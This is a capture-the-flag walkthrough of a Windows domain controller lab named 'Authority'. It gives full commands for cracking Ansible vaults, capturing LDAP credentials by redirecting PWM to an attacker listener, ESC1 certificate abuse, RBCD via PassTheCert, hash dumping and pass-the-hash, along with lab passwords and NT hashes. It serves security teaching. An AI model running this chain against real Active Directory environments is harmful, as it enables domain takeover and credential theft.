Introduction
Authority is a Windows Domain Controller that chains together several real-world misconfigurations: credentials left on a file share, Ansible vault encryption that’s breakable with a wordlist, a PWM web app leaking LDAP passwords, and a vulnerable AD CS certificate template. The path to root:
- Enumeration → find an open SMB share with Ansible playbooks, spot a PWM web app on port 8443
- Crack Ansible vaults → extract encrypted credentials from the playbooks, crack them with hashcat
- PWM LDAP trick → log into PWM config editor, redirect the LDAP test to your listener, catch cleartext creds
- Foothold → WinRM as
svc_ldap(user flag here) - AD CS enumeration → use Certipy to find the vulnerable
CorpVPNcertificate template (ESC1) - Add a fake computer account → exploit
MachineAccountQuota = 10to register a machine account - Request a certificate as Administrator → abuse ESC1 to get a cert with the Administrator UPN as SAN
- Pass-the-Cert → RBCD → use PassTheCert to grant the fake computer RBCD rights, then S4U2Proxy
- Dump hashes + Pass-the-Hash → secretsdump with the ticket, evil-winrm with the NT hash → root
Key Concepts
What is Ansible? An IT automation tool that uses YAML “playbooks” to configure servers. It sometimes needs passwords (e.g. for LDAP, web apps) and stores them encrypted using Ansible Vault. If the vault password is weak, the whole thing can be cracked offline.
What is PWM? An open-source password self-service application for Active Directory. It talks to the domain via LDAP. If it’s misconfigured and running in “Configuration Mode”, anyone can access the config panel with just a password - no username needed.
What is AD CS (Active Directory Certificate Services)? Microsoft’s PKI system built into AD. It issues digital certificates for things like authentication, email signing, and encryption. Misconfigured certificate templates are one of the most powerful privilege escalation paths in modern Windows environments.
What is ESC1? One of several AD CS misconfigurations catalogued by SpecterOps. ESC1 means: the certificate template (1) allows Client Authentication, (2) lets the enrollee supply their own Subject Alternate Name (SAN), and (3) no manager approval is required. The SAN is the part that specifies who the certificate belongs to - so if you can set it to administrator@domain, you get a cert that authenticates as Administrator.
What is MachineAccountQuota? By default, any domain user can add up to 10 computer accounts to the domain. We need a computer account because the CorpVPN template only allows enrollment by Domain Computers, not regular users. So we create a fake one ourselves.
What is RBCD (Resource-Based Constrained Delegation)? A way to grant one account the right to impersonate any user when accessing another account’s services. If we write RBCD rights to the Domain Controller’s machine account (AUTHORITY$), our fake computer can impersonate the Administrator and request a service ticket on their behalf.
What is Pass-the-Cert? A technique where, instead of using a password or Kerberos ticket, you authenticate to LDAP using an SSL/TLS client certificate (via a protocol called Schannel). This bypasses PKINIT (which this DC doesn’t support) and lets you make privileged LDAP changes - like writing RBCD rights - using only the certificate.
Enumeration
Nmap
nmap -p- <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 80 | HTTP (IIS) | Default IIS splash page - dead end |
| 88 | Kerberos | Confirms Domain Controller |
| 389 / 636 | LDAP / LDAPS | AD directory |
| 445 | SMB | File shares |
| 5985 | WinRM | Remote management (our way in) |
| 8443 | HTTPS | PWM password self-service app |
Port 8443: PWM
Browsing to https://<TARGET>:8443 redirects to /pwm/private/login. A popup says the app is in Configuration Mode - meaning we can access the Configuration Manager and Configuration Editor with just a password (no username). Default credentials like admin:admin don’t work, so we move on to find the password elsewhere.
SMB: Open Development Share
smbclient --no-pass -L //<TARGET>
Available shares: ADMIN$, C$, Department Shares, Development, IPC$, NETLOGON, SYSVOL.
We get access denied on everything except Development. Download everything recursively:
smbclient //<TARGET>/Development -N -c 'prompt OFF;recurse ON;lcd ./smb_contents/;mget *'
The share contains Ansible playbooks under Automation/Ansible/. Subdirectories include ADCS, LDAP, PWM, and SHARE - the ADCS folder is a hint that Active Directory Certificate Services is likely installed.
Crack the Ansible Vault
Find the encrypted credentials
Inside Automation/Ansible/PWM/defaults/main.yml there are three encrypted secrets:
pwm_admin_login: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
pwm_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
ldap_admin_password:!vault | $ANSIBLE_VAULT;1.1;AES256 ...
What is an Ansible Vault blob? Ansible encrypts sensitive values with AES-256 and a master password. The encrypted blob starts with
$ANSIBLE_VAULT;1.1;AES256. The toolansible2john.pyconverts it into a format John/hashcat can attack.
Convert to crackable format
Save each encrypted block to its own file (e.g. vault1, vault2, vault3), then strip leading whitespace:
sed -i 's/^[ \t]*//' vault1
Convert each to a crackable hash:
python3 /usr/share/john/ansible2john.py vault1 > vault1.hash
python3 /usr/share/john/ansible2john.py vault2 > vault2.hash
python3 /usr/share/john/ansible2john.py vault3 > vault3.hash
Crack with hashcat
hashcat -m 16900 vault_hashes /usr/share/wordlists/rockyou.txt
All three crack to the same vault password: !@#$%^&*
Decrypt the secrets
cat vault1 | ansible-vault decrypt # → svc_pwm (username)
cat vault2 | ansible-vault decrypt # → pWm_@dm!N_!23 (PWM admin password)
cat vault3 | ansible-vault decrypt # → DevT3st@123 (not useful)
Foothold: PWM LDAP Credential Leak
Log into PWM Configuration Editor
Navigate to https://<TARGET>:8443/pwm/private/login and click Configuration Editor. Enter the password pWm_@dm!N_!23.
Redirect LDAP to your listener
Inside the editor: LDAP → LDAP Directories → default → Connection
The current LDAP URL is ldaps://authority.htb.corp:636. Change it to point to your attacker IP over plain LDAP instead of LDAPS:
ldap://<YOUR_IP>:389
Click OK to save.
Why does this work? PWM stores the LDAP bind credentials (username + password) for connecting to Active Directory. When you click “Test LDAP Profile”, it makes a fresh connection using those stored credentials. By redirecting the URL to your machine, you intercept that bind - and receive the password in cleartext because it’s now using plain LDAP (no encryption).
Catch the credentials
Start a listener on port 389 before clicking the test button:
nc -lvnp 389
Click Test LDAP Profile in PWM. Your listener receives the connection:
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb lDaP_1n_th3_cle4r!
Credentials: svc_ldap : lDaP_1n_th3_cle4r!
WinRM in
evil-winrm -i <TARGET> -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap
✅ User flag captured. C:\Users\svc_ldap\Desktop\user.txt
Privilege Escalation: AD CS ESC1 + Pass-the-Cert
Enumerate AD CS for vulnerable templates
certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip <TARGET> -vulnerable
Certipy finds a vulnerable template: CorpVPN
Key properties that make it exploitable:
Enrollee Supplies Subject : True ← we control the SAN
Client Authentication : True ← cert can be used for auth
Enrollment Rights : Domain Computers ← any computer can request it
Requires Manager Approval : False ← auto-issued, no human review
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\Domain Computers' can enroll, enrollee supplies subject
Why is
Enrollee Supplies Subject: Truedangerous? The certificate’s Subject Alternate Name (SAN) is how the DC knows who the cert belongs to. Normally the CA fills this in based on the requester. With this flag, the requester writes it themselves - so we can claim to be Administrator.
Check MachineAccountQuota
We need a computer account to enroll in CorpVPN. By default any domain user can create up to 10:
crackmapexec ldap <TARGET> -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
# MachineAccountQuota: 10
Add the domain to /etc/hosts first:
echo "<TARGET> authority.authority.htb authority.htb" | sudo tee -a /etc/hosts
Create a fake computer account
addcomputer.py 'authority.htb/svc_ldap' -method LDAPS \
-computer-name 'EVIL01' -computer-pass 'Str0ng3st_P@ssw0rd!' \
-dc-ip <TARGET>
# Password: lDaP_1n_th3_cle4r!
# [*] Successfully added machine account EVIL01$ with password Str0ng3st_P@ssw0rd!
Request a certificate as Administrator (ESC1)
Use the EVIL01$ computer account to request a cert from the CorpVPN template, setting the SAN to administrator@authority.htb:
certipy req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' \
-ca AUTHORITY-CA -dc-ip <TARGET> \
-template CorpVPN -upn administrator@authority.htb \
-dns authority.htb -debug
Note: If you get a clock skew error, sync your clock first:
sudo ntpdate <TARGET>
This saves the certificate to administrator_authority.pfx.
Why we can’t just use certipy auth
Trying to use the cert directly for a Kerberos TGT fails:
KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)
This means the DC doesn’t support PKINIT (certificate-based Kerberos). We need a different approach: PassTheCert, which authenticates over LDAP using the cert as a TLS client certificate (Schannel). This lets us make privileged LDAP changes without needing Kerberos at all.
Extract .crt and .key from the .pfx
# Extract private key (set PEM passphrase to 1234)
openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
# Extract certificate (leave import password blank)
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt
PassTheCert: write RBCD rights to the DC
Clone the tool, then grant EVIL01$ the right to impersonate users on the DC:
git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert
python3 ./Python/passthecert.py \
-dc-ip <TARGET> \
-crt administrator.crt -key administrator.key \
-domain authority.htb -port 636 \
-action write_rbcd \
-delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'
# Enter PEM pass phrase: 1234
# [*] Delegation rights modified successfully!
# [*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy
What just happened? We used the Administrator’s certificate to authenticate to LDAP as Administrator, then wrote an RBCD entry to the DC’s machine account (
AUTHORITY$) granting our fake computer (EVIL01$) the right to impersonate any user against it. We now control a computer that can get service tickets on behalf of Administrator.
S4U2Proxy: get a ticket as Administrator
impacket-getST \
-spn 'cifs/AUTHORITY.authority.htb' \
-impersonate Administrator \
'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'
export KRB5CCNAME=Administrator.ccache
What is S4U2Proxy? The “Service for User to Proxy” Kerberos extension lets a service request a ticket to another service on behalf of a user. Combined with RBCD, it allows
EVIL01$to obtain a validcifs/ticket for the DC, impersonating Administrator.
Dump all domain hashes
impacket-secretsdump -k -no-pass \
authority.htb/Administrator@authority.authority.htb \
-just-dc-ntlm
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
Pass-the-Hash → Administrator shell
evil-winrm -i <TARGET> -u administrator -H 6961f422924da90a6928197429eea4ed
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
✅ Root flag captured. C:\Users\Administrator\Desktop\root.txt
Summary
nmap → port 445 (SMB), port 8443 (PWM), port 5985 (WinRM)
↓
smbclient -N → Development share → Ansible playbooks
↓
PWM/defaults/main.yml → 3 Ansible Vault encrypted blobs
↓
ansible2john.py → hashcat -m 16900 → vault password: !@#$%^&*
↓
ansible-vault decrypt vault1 → svc_pwm
ansible-vault decrypt vault2 → pWm_@dm!N_!23
↓
https://<TARGET>:8443 → Configuration Editor (pWm_@dm!N_!23)
↓
LDAP URL → ldap://<YOUR_IP>:389 + Test LDAP Profile
↓
nc -lvnp 389 → svc_ldap:lDaP_1n_th3_cle4r! (cleartext in bind request)
↓
evil-winrm → svc_ldap shell → USER FLAG
↓
certipy find -vulnerable → CorpVPN template → ESC1
(Domain Computers can enroll, Enrollee Supplies Subject, Client Auth)
↓
MachineAccountQuota = 10 → addcomputer.py → EVIL01$:Str0ng3st_P@ssw0rd!
↓
certipy req -template CorpVPN -upn administrator@authority.htb
→ administrator_authority.pfx
↓
certipy auth → KDC_ERR_PADATA_TYPE_NOSUPP (PKINIT not supported)
↓
openssl pkcs12 → administrator.crt + administrator.key
↓
PassTheCert → write_rbcd: EVIL01$ can impersonate users on AUTHORITY$
↓
impacket-getST -impersonate Administrator → Administrator.ccache
↓
impacket-secretsdump -k → Administrator NT hash
↓
evil-winrm -H <NT hash> → htb\administrator → ROOT FLAG
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| smbclient | Browse and download SMB shares | Built into Kali |
| ansible2john.py | Converts Ansible Vault blobs to crackable hashes | Built into Kali (/usr/share/john/) |
| hashcat | Cracks password hashes (mode 16900 for Ansible Vault) | sudo apt install hashcat |
| ansible-vault | Decrypts Ansible Vault blobs given the master password | pip install ansible-vault |
| Certipy | Enumerates and exploits AD CS misconfigurations | pip install certipy-ad |
| crackmapexec | Swiss-army AD tool (used here for MachineAccountQuota check) | pip install crackmapexec |
| addcomputer.py | Creates a machine account in AD via LDAPS | Part of impacket |
| PassTheCert | Authenticates to LDAP using a certificate (Schannel), writes RBCD | github.com/AlmondOffSec/PassTheCert |
| impacket-getST | Requests a Kerberos service ticket via S4U2Proxy impersonation | Part of impacket |
| impacket-secretsdump | Dumps all domain hashes using a Kerberos ticket | Part of impacket |
| evil-winrm | WinRM shell; supports Pass-the-Hash with -H flag | gem install evil-winrm |